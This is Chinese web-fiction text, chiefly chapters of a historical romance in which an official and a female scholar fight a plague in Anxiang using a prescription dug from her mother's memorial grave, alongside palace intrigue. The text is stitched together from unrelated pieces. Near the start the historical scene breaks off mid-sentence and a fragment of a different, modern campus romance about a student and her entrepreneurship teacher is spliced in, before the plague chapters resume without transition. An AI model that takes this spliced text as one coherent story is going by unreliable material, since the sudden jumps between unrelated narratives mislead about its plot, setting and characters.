与这张让人讨厌的脸距离寸许,皇帝目眦欲裂,多年的压抑和痛楚都化作唇齿间的字字句句,从心头碾过吐出。
“可父皇把夫妻之爱给了你母亲,所有舐犊之情给了你。我母妃去世的时候,父皇却在为你庆生。就连你的府邸,也是父皇亲自赐名‘云安华府’,我焉能不恨?”
季临渊听着皇帝的控诉,脸上努力维持的平静也渐渐崩坏,眼底涌起的眼泪无声落下,他听到自己的声音在发颤。
“你心痛你母妃的遭遇,我又何曾好过?我三岁那年,我娘为了救你而死,我一个孩子,守着跟冰窖一样的府邸,还要被迫记在臣子名下,不得入皇室宗庙!我明明应该跟你一样,学齐家之术,修治国之能,可我从头至尾都只能受尽嘲讽,只能是前臣季泰之子,季璟!”
“李熙,”季临渊悲切地脸上扬起怪异的笑意,他轻声念着皇帝的名字,却又将脖子主动压上剑刃,一道血线顷刻出现,“是不是喊久了,你也忘了,我原本,应该叫李璟。”
“是李璟啊!”
“我没忘!”皇帝怒吼出声,眼泪簌簌落下,彼此就像两头困兽,不死不休不退让,“就是因为我没忘,所以每每想到父皇那样喜欢你,你母亲又因我而死,我焉能不怕!”
“李熙,”季临渊伸手抓住剑刃,血珠一滴滴自手中落下,但他恍若不觉,只死死盯着皇帝,“前尘之事你我皆不可再改,你有你的怨,我有我的恨。现在最重要的,是南方的瘟疫。疫区的百姓,他们需要你,需要你给出一个帝王该有的决断。”
“还请皇上,早下决断。”
哐啷,长剑落地。
皇帝推开季临渊,精疲力尽地瘫坐在龙椅上。
季临渊后撤几步,依旧维持着一个臣子的本分,带着满手的鲜血淋漓,躬身行礼离去。
刚走出养心殿,他的身后便传来皇帝的声音。
“传朕口谕,复翰林学士季临渊中书令之职,代朕前往疫区,彰显皇恩,安抚人心。”
圣旨传到翰林院,宋澈衍捧着圣旨,跟身后的一众同僚面面相觑。
谁能想到一个早朝,就把自家管事的调走了,速度之快,让人咋舌。
江寒星原本也在疑惑这突如其来的复位,一转头却见棠柳月面色凝重,不由担心道:“柳月,你身体不舒服吗?”
棠柳月愣了愣
缓慢悠长的上课铃打响,走廊上穿着各色的学生便急匆匆踩着铃声往各自的教室奔去,本来排在厕所的长队也不得不散去。
但,排在门口的可以散去,那蹲在里面的,可就不是那么好散去了。
大四开学第一天,吃了室友姜寒星一个包子而坏了肚子的简琦缘,此刻正在厕所里,听着上课铃那催命的声音,心里拔凉拔凉的。
最后等她处理完走出厕所
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的时候,上课铃已经打完两遍了。
算了,死就死吧。简琦缘咬咬牙,拔腿朝自己的教室跑去。
走廊上,老师讲课的声音此起彼伏地响起,简琦缘穿行其中,只感觉臊得慌。好不容易走到教室门边,她深吸一口气——
一个转身站定,简琦缘抿着唇,绷着脸出现在教室门口。
“报告!”
九月的时节天气还不凉,教室上空调和风扇呜呜吹个不停。墨绿色的窗帘被拢着,日光就这样肆无忌惮地飘进教室,落在了讲台上的男人身上。
男人穿着深蓝色西装,宽肩窄腰,身形笔直高挺,乌黑的头发被修得利落齐整。皮肤白净,五官深邃精致,恰如其分地长在脸上,神色恬淡沉静。此刻他正双手撑在讲桌上,转头静静注视着这个打断他讲话的女孩子。
但在二人眼神交汇的瞬间,简琦缘眼底有诧异的神色。
“怎么回事?”男人的嗓音低沉浑厚。
俊美的脸搭配低沉如洞穴巨兽般的嗓音,还是一如既往地不搭,就好像林黛玉开鬼火。
斟酌了一下用词,简琦缘慢慢开口:“老师,我刚刚身体不舒服去洗手间了,所以来迟了。”
男人轻轻“嗯”了一声,微微抬了抬下巴,简琦缘便识趣地快步走到自己的位置上坐下。
刚坐下,姜寒星便把一个本子推到简琦缘手边。后者拿过本子一看,上面写了两句话——
【学校特聘的创业老师,叫阮书文】
【之前创业课都水水的,现在看着这张脸,我可得好好学】
简琦缘轻哼了一声,嘴角有难掩的笑意,顺手在本子上回复了一句,便把本子推了回去。
姜寒星拿过一看,差点没被气死。
【你猜这个创业老师有没有创过业?别学歪了宝贝】
开学第一课通常不会讲很多深奥的东西,算是给学生一个过渡。
所以简琦缘一手托着下巴,一手记笔记,眼神不紧不慢地游走在黑板和课本之间、
当然,还有阮书文身上。
不像姜寒星那般为了显得自己多认真听讲而猛猛记笔记,简琦缘却是在想别的。
阮书文,阮书文……
没想到还能再见面,老师。
“啪嗒。”
一个粉笔头精准砸到了简琦缘的笔头前面,也砸的她瞬间回过神来。
只见讲台上,阮书文拿着新的折断了一半的粉笔,轻轻点着讲台,微微皱眉:“简琦缘,待会下课来我办公室一趟。”
啧,什么运气。
简琦缘只感觉脑袋嗡嗡的。
倒是姜寒星用肩膀不着痕迹地撞了她一下,压低声音:“这个老师都没点过名就知道你叫什么,莫不是以前教过你?”
简琦缘:……
恰好此时下课铃响起,她给了姜寒星一个白眼,而后在便利贴上写下一句话,便扔给对方,起身离开教室。
姜寒星拿过便利贴,表情有一瞬间的无语。
【只有我错过了学习通的定位签到,他当然知道我。】
阮书文的课是上午最后一节课,所以当简琦缘来到办公室的时候,学生和老师都出去吃饭了,只有阮书文一个人安静地站在书柜前整理教案。
简琦缘乖巧地走到阮书文身边站定,熟悉的沉香气味盈盈飘到鼻尖。
这是阮书文最喜欢的味道。
眼神落到阮书文的手腕上,她有些挪不开眼。
哪怕过了许久,她也不得不承认,这是一对极其好看的腕子,肤如白藕,清瘦秀雅。
无端生出的几分华丽和性感,衬得举手投足间皆是风景。
阮书文修长的手指划过书柜里的教案,按着顺序把手里的教案放了进去。见简琦缘没有说话,便自行开口道:“身体好点了吗?看你上课心不在焉的。”
11.瘟疫(2)
动身启程去安乡的清晨,季府门前的柳树已经生的郁郁葱葱。
虽大雪已停,但春寒料峭,寒意沁人。
棠柳月和季临渊简单收拾了一些行囊和吃食,剩余的全都带了药材。而且也因为是前往疫区,人马还是不宜过多,最后斟酌商议之下,也只带了十架车马,由赵靖圻带队出行。
在季府门前,跟江寒星等人依依告别后,棠、季二人便义无反顾地踏上征程。
而这期间,还发生了一件趣事。
秋姨担心棠柳月在路上生病没人照顾,硬是给自家夫君许淮才争了一个随行名额。不过好在许伯身为医者,自从听闻南方安乡爆发瘟疫后,也想前往救治百姓。
于是夫妻俩一合计,软磨硬泡,坐上马车。
从京都到安乡,约莫估计要半月。路上的日子里,棠柳月经常跑去许伯乘坐的马车,跟着许伯认识药材,熟记一些常用的急病药方,时不时也会救助一些路上遇到的流民。
季临渊一个人坐在前排马车,则是将途中情状,详实细致地记录下来,每日都交由专人,送到皇上手里。
行进了十几日,午膳时分棠柳月从许伯处回到前排马车,与季临渊一同用膳。
出门在外,吃食上精致不了。所以对比季临渊的挑挑拣拣,棠柳月不拘小节,来者不拒。
季临渊见棠柳月吃得香,自己突然也多了几分食欲。
但,也只是几分。
勉强应付了小半碗,季临渊实在吃不下。起身走下马车,将吃剩的饭菜喂给了路边的流浪狗。
棠柳月坐在马车上看书,看季临渊回来之后,忍不住调侃:“你这样到了安乡,可怎么吃得下粗茶淡饭?”
“我吃得下。”
季临渊闷声应了一句,在棠柳月身边坐下。坐下后稍稍把两条长腿抻长一些,双手抱胸,斜靠在马车里小憩。
这些日子他确实挺累的,水土不服加上越来越靠近安乡,路上的流民难民,数量与日俱增。他不但每日要细细记录,还要与赵靖圻一同看顾同行人的安危。
棠柳月笑了笑没有说话,见他沉沉睡去,只往一旁挪了挪,继续看书。
只是没一会,肩上重重一沉。
原来是车马颠簸,睡着的季临渊随着车马前行而渐渐移动身子,最后直接靠在棠柳月肩上。
伸手扶住季临渊摇摇欲坠的脑袋,二人的青丝缠绕交叠在一起,分不出彼此。
见人睡得香甜,棠柳月犹豫片刻,还是打消了把人摇醒的想法。挺了挺肩膀,稍稍把热乎乎的脑袋往后轻推,确保不会再随意移位后,她才松开手。
午后日光暖融,透过车帘,如碎金般洒进来,落满半个马车。投射下来的澄澈的光影里,还可以看见细碎的尘灰浮动。外面人声寂寂,时不时会有几声鸟鸣传过。
睡到餍足的季临渊半眯着眼睛,动了动两条麻木的腿,细针密密扎的感觉,便立刻自下而上蔓延了整个下肢。他不禁皱眉,嘴角溢处几声难受的呜咽。
棠柳月听到动静,转头看去,却正好对上季临渊逐渐清明的一双眼。
二人的脸靠的极近,彼此呼出的热气扑到脸上,像一把火落在上面,撩起一片绯红。
棠柳月微微垂下眼眸,察觉出二人的距离有些暧昧,便想推开季临渊。
但后者却抢先一步握住了她的手。不同于那日在礼部的温暖干燥,今日这双手,掌心濡湿温热,指尖冰冷。
眼前的人,似乎很紧张。
顺着指缝陷入,十指交叠,不得动弹。触碰彼此的颤栗自手上传到二人心口,惊起一层层涟漪。
季临渊的眸色愈加深沉,直直落在棠柳月的唇上。喉头动了动,他一点一点,试探着靠近。
二人之间的距离越来越近,近到马车颠簸时,彼此都可以擦过对方的唇角。
棠柳月满面羞红,心跳如鼓,自阿娘去世后,她便孤身一人,从未留意男女之事。按照她的心性,此刻应该狠狠推开眼前的男人。
可是,她此刻并不想。
在眼前人的眼里,她看到了翻滚的,不可熄灭的情感。
“季临渊,你想亲我吗?”
“可以吗?”
睫毛震颤得厉害,棠柳月红着耳根,闭眼低头,吻上了季临渊的那双薄唇。
轻轻的,小心翼翼地贴着彼此的唇。
棠柳月只感觉浑身一阵阵地发烫,心头胀满得快要裂开,几乎让她快要不能呼吸。但很快便又像儿时守在炉灶边煮一盅化开的莲子茶,小银匙在其中搅了又搅,又甜又浓。
“季大人,还有两日就到安乡,今夜可要彻夜行进?”
赵靖圻的声音在车外响起,棠柳月立刻推开季临渊,后者重重砸到车上,发出沉闷的声响。
赵靖圻听得不对,立刻出声询问:“季大人,是发生什么事情了吗?”
“无事,无事,”季临渊按着后脑,吃痛地坐起身,“赵统领你等等我,我下去跟你再商议。”
说罢,季临渊便急匆匆下车,不敢与棠柳月对视。
赵靖圻在见到季临渊的时候,颇为诧异。怎么一个下午不见,脸红成这样?
车马到达安乡的时候,临近傍晚。空气里弥漫着一股烧焦的味道,整个天空黄灰烟尘密布。
到处都是重兵把守,全副武装。又在空地上隔出一个个小布棚,将人们按照病情的严重情况进行区分。
彼时正值分发晚膳米粥,士兵将米粥按需分发到各个小布棚里,不许人们进出。
驻守在这里的军队首领是大将军张世豪的副将连云升,他正在计量剩余的吃食,忽而听到下属来报,说看到车马行进,应该是朝廷的中书令大人的车马。
于是立刻放下手中公务,出城前去迎接。
车马渐渐停下,棠柳月跟着季临渊下车,再次回到了这个曾经的故乡。
一下车,她就被空气中的烧灼气味呛到。
是焚烧尸体的味道。
连云升恭敬
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朝季临渊拱手行礼后,先是命人递上特制笼巾,示意众人仔细佩戴。而后让人对他们的随行物品进行仔细搜查,待一切无事后,才领着他们进入城内。
城内已不复往日喧嚣,触目人去楼空,残垣断壁一片。时不时蹿过一只小猫小狗,也很快被射杀。
棠柳月自进入城内便心下不安,此刻见此情此景,更是惶然,忍不住出声问道:“连副将,城内的百姓现在统一被看管起来了吗?”
“是,”连云升的声音透过笼巾传出,有些发闷:“按照染病程度,住在不同地方。”
“那病发不治从而去世的人,你们是直接烧了吗?”
连云升一愣,没想到眼前小小女子竟然会问这个问题,于是如实回答:“对,在城郊北处,三日一烧,不然担心会感染其他人。”
棠柳月点点头,灾乱年代,疫病容易传染,死去的人更是传染的源头,土埋费神费力,所以焚烧也不失为一个方法。
“那副将在收容百姓的时候,可有做一份名册?将每一个人的身份登记在册,以便每日的检查和巡逻?”
连云升有些为难,觑了觑一旁的季临渊,见后者没有出声,只得硬着头皮道:“起初我也想这样做,但是后来随着疫病的爆发,每天死去和新增的人数特别多,根本看顾不过来。”
季临渊听了一路,此刻也跟着说道:“我相信连副将不是故意不做,登记在册固然方便管制,但这样就不可避免地要与不同的人接触,对于将士们来说,风险极大。”
“他们,也有自己的家人。”
棠柳月思忖片刻,很是担忧:“这样的话,患病和没患病的人总混在一起,到最后岂非所有人都要遭殃?”
“这也正是末将担心的地方,”连云升神色忧虑,带着众人来到一个个小布棚面前,“平日大家就只靠着这一个个布棚进行隔离,病了痛了也只能靠一些山野草药,很多人抗几天就不行了。”
“季大人,末将时常觉得,自己在守一座孤城。”
“他们,真的还有救吗?”
季临渊何尝不知其中惨烈,一路过来,流民难民的悲惨情状他见得太多太多。但越是这时候,他越不能露怯。
他代表的是朝廷,是皇上,是天家皇恩。
再不济,还有棠柳月的那一纸药方,还有三月后的太医院,总有一线希望。
季临渊按了按连云升的肩膀,沉声道:“一切都会过去的,朝廷已经在加紧研制医治疫病的药方。皇上也赐了很多珍奇药品,你们尽管给百姓们用,大家一起熬过去。”
此时此刻,也只有一个熬字,可以说尽一切心酸苦楚。
棠柳月放眼望去,每个小布棚里,大家都捧着米粥,虽然已是蓬头垢面,衣衫污浊,但仍然珍惜而小心地喝下米粥。就像他们仍然珍惜自己的生命,相信自己可以活下去。
又一个夜晚马上要来临,有很多人睡去,也会有很多人死去。
这场劫难,什么时候才能过去呢?
12.瘟疫(3)
自从季临渊来到安乡,一面将皇帝的殷殷嘱托传达到这片土地,一面也身体力行地参与进日常的救助中。安乡的百姓肉眼可见地被安抚下来,少了许多先前的死气沉沉。
季临渊在前面忙着,棠柳月也没闲着。带着许伯,深一脚,浅一脚,翻山越岭地前往阿娘的坟墓。
路途之崎岖,许伯不禁感叹,一个小姑娘,居然能把自己的娘亲葬在这种地方。
棠柳月尴尬一笑,当然是因为自己的娘身份特殊。
拨开一大丛杂草,一块被雨水冲刷侵蚀,字迹模糊的墓碑出现。
棠柳月上手仔细摸了摸,脸上一喜,终于找到阿娘的墓碑了。
话不多说,挥着大刀就跟许伯,把周遭比人还高的杂草尽数砍掉,露出一个小小的土包。
这便是当年她亲手为母亲盖得坟墓。
走到墓碑面前,棠柳月跪下,重重磕了三个响头。
许是担心棠柳月作为女儿,见不得自己的娘被掘坟,所以许伯特意拍拍棠柳月的肩膀,关切道:“小柳别怕,咱们这是为百姓做事,你娘不会怪你的。你要是真下不去手,让伯伯来。”
棠柳月轻轻“嗯”了一声,撸起袖子站起身,扛着锄头一言不发地开始掘土。
许伯一时愣住,这么顺利的吗?
“许伯别担心,我先动手挖的,到时候我娘地下生怨,第一个找的也是我。你尽管挖就是,赖不到你头上。”
许伯捋了捋三寸长的胡须,深感状元就是状元,思想境界就是不一般。
冬天土冷地硬,一老一小吭哧吭哧挖了好一会,土坑里出现一个半米见方的棕色木箱。
“怎么不见棺材?”许伯疑惑问道。
棠柳月一脚跳进坑里,弯腰把木箱抱出来。
“我阿娘生性自由,所以去世的时候也交代不要埋在地下,直接一把火烧了,骨灰扬了,才算清净。”
许伯被番言论震撼,帮着弯腰去接木箱,不禁赞叹:“令堂真是豁达通透,老夫死后也要如此,不受香火,不受打扰。”
棠柳月翻身跳出土坑,丝毫不在意自己周身都沾了尘土。重新把土填回去,她又跪在阿娘墓碑前,磕了三个头,双手合十诚心道:“阿娘,还请你原谅孩儿的大不敬,孩儿也是为了救人。”
“若阿娘生怨,就来我的梦里看看我吧,一次也好。”
说到这里,棠柳月的声音渐渐低了下去,低到无人能听见最后那一句——“我很想你。”
利落地站起身,棠柳月四处看了看,从一旁的枯树中折下一根手腕粗的长枝,又用随身携带的匕首,划下身上的布料,捆住木箱和长枝,做成一个简单的扁担。
蹲身试了试轻重,见可以一把抬起后,棠柳月不疑有他,直接扛起扁担就走起了下山路。就这样,她还有工夫回头叮嘱许伯:“许伯,我走前头,你在后头,下山路注意脚下。”
许伯在后头跟着,老怀安慰。
回到营地,棠柳月把木箱搬进季临渊的屋舍后,终于撑不住地蹲坐在旁边,趴在箱子上喘气。
季临渊原本在书案前规整疫病的传染数据,见到棠柳月进来,立刻屏退左右,倒了杯水,快步走到棠柳月身边。
“给。”季临渊蹲下身子,把水递给棠柳月。
见她浑身尘土,额头和两侧脸颊都蹭上了不少泥,眉头一皱,语气中隐有严厉:“你没有带侍卫过去吗?我给你的人,你也没带去吗?”
棠柳月咕噜咕噜喝下整杯水后,诚实地摇摇头,“我阿娘身份特殊,多一个人知道就多一重风险,所以我只带了许伯。 ”
扯着衣袖,季临渊抬起棠柳月的脸,冷脸给她擦去脸边污泥,“那你就不会找我?许伯年纪又大,在上面磕着碰着怎么办?难道你要孤身扛箱子又背老人下山吗?”
棠柳月自知这样做是不妥,但木已成舟,多说无益,所以她扯了扯季临渊的袖子,低声道:“……那你在忙嘛。”
季临渊动作一顿,看向棠柳月的眼里闪过几分复杂的情绪。虽是冷着脸,但最后还是温软了语调,说道:“你来找我,我都有空的。”
“知道了。”棠柳月笑着点点头。
给棠柳月擦干净脸之后,季临渊拍了拍箱子,“你这箱子里装了什么?”
棠柳月抽出腰间匕首,沿着木箱上方的缝隙一刀划下去,只听木箱发出“嘭”的一声,上方的木板,应声碎成两半。
“这里面装的是我阿娘的贴身之物,因为阿娘不喜入土,所以我当时就做了一个衣冠冢。”
棠柳月一边说着,一边拿开木板,箱子里的东西完完整整地出现在二人面前。
叠放的五件衣裙旁边,摆放着一些钗环首饰和衣服配饰,如玉佩、香囊这些。除此之外,还有一张被折叠齐整的黄色纸张。
棠柳月伸手拿起纸张,展开后细细检查,确定跟当年放进去的是同一张药方之后,她把药方拿给季临渊,想让他也看看。
却见季临渊正死死盯着手里的玉佩。
那个玉佩,是箱子里的东西。
“这个玉佩,也是你娘的?”
棠柳月不明所以,只得如实回答:“是,我阿娘生前很珍惜这个东西,说是阿楚给她的。”
“可是……”季临渊拿起玉佩,透过天光,玉佩里的天家龙纹清晰可见,“先帝也有一枚这样的玉佩,两枚合并,才算合了它的名字。”
“双龙珏。”
养心殿里,太师章奭正在给皇帝汇报政务。末了,他忽然话锋一转,说道:“近日臣听闻季璟已经到了安乡,跟安乡的百姓同吃同住,很是安抚人心。”
皇帝低头拿着朱砂笔处理朝务,头也不抬,“是,他做的很好,朕心甚慰。”
章奭神色微动,流露出一抹似笑非笑的表情,“季璟愿意收心也好,若能像辅佐先帝那样辅佐皇上,乃是我朝幸事。”
皇帝放下笔,颇为慨叹,“总归是亲兄弟,我信他,他自然也信我。说句难听的,朕膝下皇子年幼,若哪日……还是要他回来辅佐,朕才能安心。”
章奭躬身,态度恭敬:“皇上春秋鼎盛,定能护大茗千秋万载。”
“只是臣担心,季璟退却朝堂许久,如今骤然复位,朝臣眼热追捧,也引得多方嫉妒,不知季璟能不能承受得住?若是还如当年那般桀骜不驯,怕是有负皇恩。”
“危难之际,季璟愿意以身犯险,这份心意已是难得。”
“皇上仁慈,季璟也懂收敛。想来应该不会再如当年那般,在朝堂上公然呛声皇上了。”
章奭字字句句都在关心季临渊,但其中潜藏的引诱和暗示,像一把未开刃的长刀,虽不伤人,却透着令人胆寒的光。
皇帝屈起手指,轻敲桌面。
“太师若是无事,暂且退下吧。”
章奭面色微变,旋即恢复如常。躬身行礼后,
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便安静退下。
皇帝看着章奭离去,神色也一分分冷了下去。
拿到药方的棠、季二人不敢懈怠,赶紧把药方交给许伯等几位大夫检验。最近看守的士兵里也有人开始被疫病传染,军中监管逐渐不力,有很多人开始流窜。所以棠柳月便跟着季临渊挨家挨户搜查流窜的难民。
果不其然,在搜查到一家客栈的时候,有一个瘦削的黑影,擦着季临渊身侧就飞了出去。
季临渊虽当下没有反应过来,但很快便追上去。对方是个半大的少年,又因为连日不进米水,跑没多远便被季临渊抓住,按在了地上。
“放开我!”少年蓬头垢面,用力扭动身体,嘶吼大叫。
棠柳月跟上来后,拨开男孩的头发,却诧异地喊了一声“沈易寒”。而少年透过她脸上的笼巾,看清长相后,也立刻停止了挣扎,愣愣不语。
“你认识他?”
面对季临渊的问话,棠柳月点点头,“以前在安乡,我是他家的武术先生。”
说罢棠柳月急急推开季临渊,把沈易寒扶了起来。却不想沈易寒一头埋到她肩上,低声抽泣。
棠柳月虽有些讶异对方的举动,但还是轻拍沈易寒的后背,以示安慰。
沈易寒哭了好一会才从棠柳月肩上起来,眼眶和鼻尖都红红的,再加上一身脏兮兮的,真的是可怜的紧。
他睁着一双湿漉漉的清透眼睛,声音抽抽搭搭,“师父,你是来找我的吗?”
“不是。”季临渊快人快语,抱胸站在一边,装作无意地看看天,看看地。
“那也没关系,”沈易寒拉住棠柳月的手,放在脸边,生怕她在自己眼前消失,“能再见到师父,就是好事。”
棠柳月有些哭笑不得,抽回手关切道:“你怎么会这样?出事那会,沈家没有立刻动身离开吗?”
沈易寒摇摇头,“我爹他们只顾着自己走,没人管我。”
棠柳月一时语塞,才想起沈易寒是沈家三房庶子,不得宠的母亲为了生他难产而亡。他又生性敏感,心思细腻,自小背负的“克母”骂名让他心结难解,进而常年体虚。
一个病弱不受宠的庶子,对家族来说,最是无用。
棠柳月摸摸沈易寒的脸,“没事我带你回去。但我只有一个条件,不许乱跑,知道吗?”
沈易寒听话点头,跟刚才被季临渊压在身下,狂叫嘶吼的模样判若两人。
回到营地后,趁着许伯给沈易寒号脉看诊的时候,季临渊偏头凑近棠柳月,低声调侃:“我看这小子对你心思不纯。”
棠柳月神色平静,从容不迫。
“当时我离开沈家进京科考的时候,他就向我提亲,只是我没答应。”
……
“这小子对你倒是情根深种。”季临渊颇有些咬牙切齿。
棠柳月没有发觉季临渊的异样,继续接话道:“只是他才十五岁,我良心难安。”
季临渊缓缓转头,不可置信地看着棠柳月:“……再大点你就良心能安了?”
棠柳月耸耸肩,“情根深种,又生得清秀,若是年纪相仿些,我接受他也是常事。”
季临渊转过头,只感觉后槽牙咬得发酸。狠狠瞪了一眼沈易寒,便拂袖离去。
他原本想接下来几日都不要理睬棠柳月,安心救助百姓。
但很快,他发现自己做不到。
因为,他也得了疫病。
13.瘟疫(4)
季临渊病的来势汹汹,从发病到倒下,常人还能撑三四日,但他第二日便卧床不起,水米难进。
棠柳月虽心急如焚,但仍有条不紊地接手季临渊的工作,并且晚上同许伯等人一起照顾季临渊。
昏暗的烛火下,睡梦里的季临渊双眉紧蹙,面容痛苦。他已经连着高烧两日,整个人像煮熟的虾子,又红又烫。吃什么吐什么,肚子里没东西就吐苦胆水,黄的绿的吐了一地。
不过短短两日,他便消瘦了一圈,整个人憔悴病弱至极。
费劲喂了一些人参水进去,棠柳月便立刻自床边水盆里,取出沁得冰凉的头巾,换下季临渊额头上已然温热的头巾。
这一路,她总以为若是不幸被传染,也应该是许伯。没想到,倒是平日看上去的季临渊先倒下了。
“千万要撑住啊,”棠柳月拿着毛巾给季临渊擦拭脖颈处和双手,苦笑道:“不然我没法跟你皇兄交代呢。”
话音刚落,许伯一把推开门,捧着一碗药快步走进来。
而他的身后,还跟着赵、连、沈和其他太医。不算大的屋子里,立刻变得拥挤不堪。
“来了来了!”
一碗黑乎乎地药汁被递给棠柳月面前。
即便是只有昏黄的烛火,也可以看到许伯敛着眉眼,神色严肃:“按照你的方子,我和几位太医凑齐需要的草药,熬制出了这碗药汁。但小柳我必须告诉你,这药方虽然有清热解毒之效,但能否医治这次疫病,我们也没有十足的把握。”
“但必须有人,替百姓尝第一口。”
棠柳月接过药汁,轻轻晃动的汤药表面,映出她的眼神幽暗不安。
“季临渊还能撑多久?”
许伯重重叹了一口气,“他这样高烧不退,水米不进,明日恐怕就要呕血了,后日……”
没有说出口的话,却在众人心里浮现。
令人窒息的沉默里,棠柳月的心头突突直跳。她端起药汁喝了一口,随即便被苦的皱起秀眉。
好苦,是以前的味道。
“我来喂季临渊喝药,赵统领你扶起他,掰开他的嘴。今天的药,不能让他吐出来。”
听到棠柳月如此果断坚定,众人心下一惊,许伯更是赶忙按住棠柳月的手,担心道:“小柳,这药方无人试过,也未曾跟朝廷报备。若是季大人有什么事,你可想过后果?”
棠柳月拍了拍许伯的手背,给了他一个安心的笑容。
“只要是按照这个方子熬出来的药,就一定没事。若是有,我一人承担。此刻季临渊喝了不知生死,但不喝一定会死,所以我宁可赌前者。”
赵靖圻听罢,也跟着点了点头,走上前扶起季临渊,捏住他的下颌,强行把嘴巴打开。
“棠姑娘,你喂吧。尽人事,听天命。季大人若真的撑不过去,末将与你一起担责。”
棠柳月很是动容,端起药汁,一勺一勺送进了季临渊的嘴里。
一碗很快见底,放下汤碗,棠柳月和赵靖圻小心翼翼地扶着季临渊躺下,掖好被子。
其余人见季临渊暂无任何异常,也在棠柳月的劝说下先行离开休息。毕竟已经倒了一个,不能再倒第二个。
见众人离去,棠柳月才卸下强撑的坚强,疲惫地趴在床榻边,下巴抵着手臂,静静注视季临渊。
这一看便是好久好久,久到她都不知道自己几时睡了过去。
再睁眼,外头已经是天蒙蒙亮。
慌张俯身上前,棠柳月伸手探了探季临渊的额头。
果不其然,高烧已经退去!
惊喜之余,棠柳月连忙拿开季临渊额头上湿冷的毛巾,又给他简单地号了脉。
直到确信眼前人已经脉象平稳,高热退去,棠柳月这才彻底松了一口气,忍不住捂着嘴巴低声哭泣。
“别哭,我还没死呢。”重病侵体之下,季临渊的声音有些嘶哑。
但这声音,对于棠柳月来说,宛如天籁。
起身倒了一杯温水,棠柳月用小勺子一点点喂予季临渊喝下。
而季临渊的精神和体态,也肉眼可见地好了起来。
就这样观察了一天,再三确认季临渊已经可以下床行动自如后,棠柳月直接让赵靖圻带着将士,按照方子,开始大量熬制汤药,然后分发给每一个人。
一时间,整个营地上空都飘着草药的香气。之前呛人的焚烧味道,已然消失不见。
屋舍里,季临渊的身子还有些虚弱,棠柳月害怕他又独自跑去小布棚,索性跟在他的身边照顾。
站在门口,闻着药草香,季临渊笑了笑,“我听靖圻说,当时是你决定给我喂药的。”
棠柳月点点头,“死马当作活马医,总不能眼睁睁看着你死在我面前。”
“也是,我死了,就没人跟你一起找人了。”
……
棠柳月瘪瘪嘴,没有出声。
季临渊拢了拢身上的披风,忽然看向棠柳月,“不过我很好奇,为什么你不担心我告诉皇上,你是邪教余孽。然后假意答应,但私下已经做好围捕你的准备?”
棠柳月略微迟疑了一下,半带轻笑道:“其实那天晚上,我是看到你,才想让你救我。”
季临渊微微眯眼,“……什么?”
“我阿娘的事情,涉及前朝旧案,所有的卷宗都被放置在刑部。可按照我现在的处境,去刑部遥遥无望,更别提查阅卷宗。”
说到这,棠柳月转头看着季临渊,挑了挑眉,嘴角笑意愈加明显,“所以我必须要找一个帮手。”
“一个有地位进出刑部,或者有能力接近皇帝的人。所以,在芙蓉台看到你的时候,我就确定那个人是你。”
“至于你是不是真心帮我……”棠柳月耸耸肩,语气轻快,“不在我的考虑范围内。大不了,临死前带上你,运气好的话,连皇帝也一起带走。”
季临渊嘴角抽了抽,这个女人说了这么多,怎么最后还是这么简单粗暴?
棠柳月背着手,走近季临渊,稍稍踮起脚尖,凑近他的脸:“那你呢?为什么肯答应我?我有求于你,明明是拿捏我的好时候。”
“没有为什么,”季临渊别过脸不看棠柳月,不让她发现自己眼底的慌乱:“我相信你罢了。”
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“哎呀呀,”棠柳月皮笑肉不笑地伸出食指点点季临渊的胸口,“堂堂中书令大人,这么容易就相信别人吗?”
“还是说,那些为了追绞邪教余孽而布下的各处爪牙,不是您的手笔呢?”
“若我不是真的孤身一人,您才不会真的帮我吧?”
季临渊一把抓住棠柳月的手,低头看她,瞳孔微沉:“还有一个问题,你必须回答我。”
“你且问问看。”
“你如何知晓皇上与我的关系?”
棠柳月闻言噗嗤一笑,脚下险些站不稳,好在季临渊伸手扶住她。
但也因此,棠柳月握住季临渊的手臂,顺势把他往下一拉,一双朱唇贴到他的耳边,吐气如兰。
季临渊顿时呼吸一窒,心底蹭的热了起来。
“很简单,就是他那天喝醉酒,顺嘴说了出来。而且当时他的脸色,跟那天马车上的你,一样红。”
猝不及防地被推开,棠柳月望着火急火燎跑向茅厕的身影,忍不住摇摇头。
随着一锅又一锅的汤药被熬制出来,越来越多的百姓服下汤药,身子开始好转,疫病也终于在肆虐这么久后,得到了有效遏制。
除此之外,季临渊也加紧对安乡进行一定程度地修缮,力保百姓身体恢复后,生活可以尽快回到正轨。
而棠柳月想到隔壁的村落和乡县仍旧处于水深火热,所以与连云升一起,带着一车熬好的汤药,直奔他乡。
就这样往返几日后,周遭地区的疫病也渐渐被遏制。
棠柳月从外头回来的时候,已是月亮西沉。但屋舍里的季临渊,还在熬夜誊写奏报。
手持一盏烛台,棠柳月推门而入,为季临渊换上新的烛灯。
顺便,看看他在写什么。
待看清楚对方在写什么后,棠柳月玩味一笑。
“季大人好勤勉,深夜还要在奏报里大书特书自己的功绩。”
季临渊不为所动,“多的是人把三分的活夸成十分,我这顶多叫润色。”
“是~”棠柳月随手翻看书案上的其他奏报,“好在你一视同仁,把我们其他人也写得只应天上有,否则我一定要在皇上面前告你一状。”
季临渊无声笑了笑。
“对了,忘了问你,那个沈易寒,你要带回京都吗?”
棠柳月闻言皱了皱眉,这个问题对她来说,的确有点棘手。
“这孩子再待在沈家,也是可怜。”
“他是沈家人,用不着你可怜。”
“不是这个意思,”棠柳月横了一眼季临渊,后者识趣地闭上嘴,“我是想着给他找个学堂,正经学上几年,然后参加科举。”
“也不辜负,他喊了我两年师父。”
“这有何难?等回去了,我给他找个学堂,安排一等一的老师教他,保证几年之后,你也有个进士徒弟。”
见季临渊说的轻巧,棠柳月不屑地哼了一声,“多谢大人吉言。”
“那他住哪?”
“住我家。”
啪嗒。
一大滴墨汁落在了奏报上。
14.回京(1)
春末夏初,天气回暖,逐步平息的疫病和那一纸药方,被八百里加急,日夜兼程,送到皇帝的手里,进而传遍整个朝堂。
褒奖赞扬的圣谕也如雪花般飞向棠、季一行人。
而其中,便有册封棠柳月为正六品翰林学士的圣旨。
满院梨花下,棠柳月躺在庭院摇椅上,手里转着一卷明黄圣旨,闭目养神。
季临渊坐在一旁,抬手沏茶。
自从疫病得到控制,民生开始恢复后,棠柳月和季临渊就清闲了许多,估摸着再待半个月,等安乡彻底恢复后,便也要启程离开了。
茶香四溢间,棠柳月略带嫌弃的声音响起:“这么大的功劳居然没有升任六部,真是手握金钱过河渡,但见涟漪不肯助。”
季临渊闻言只笑了笑,并不反对棠柳月对皇帝的指责。
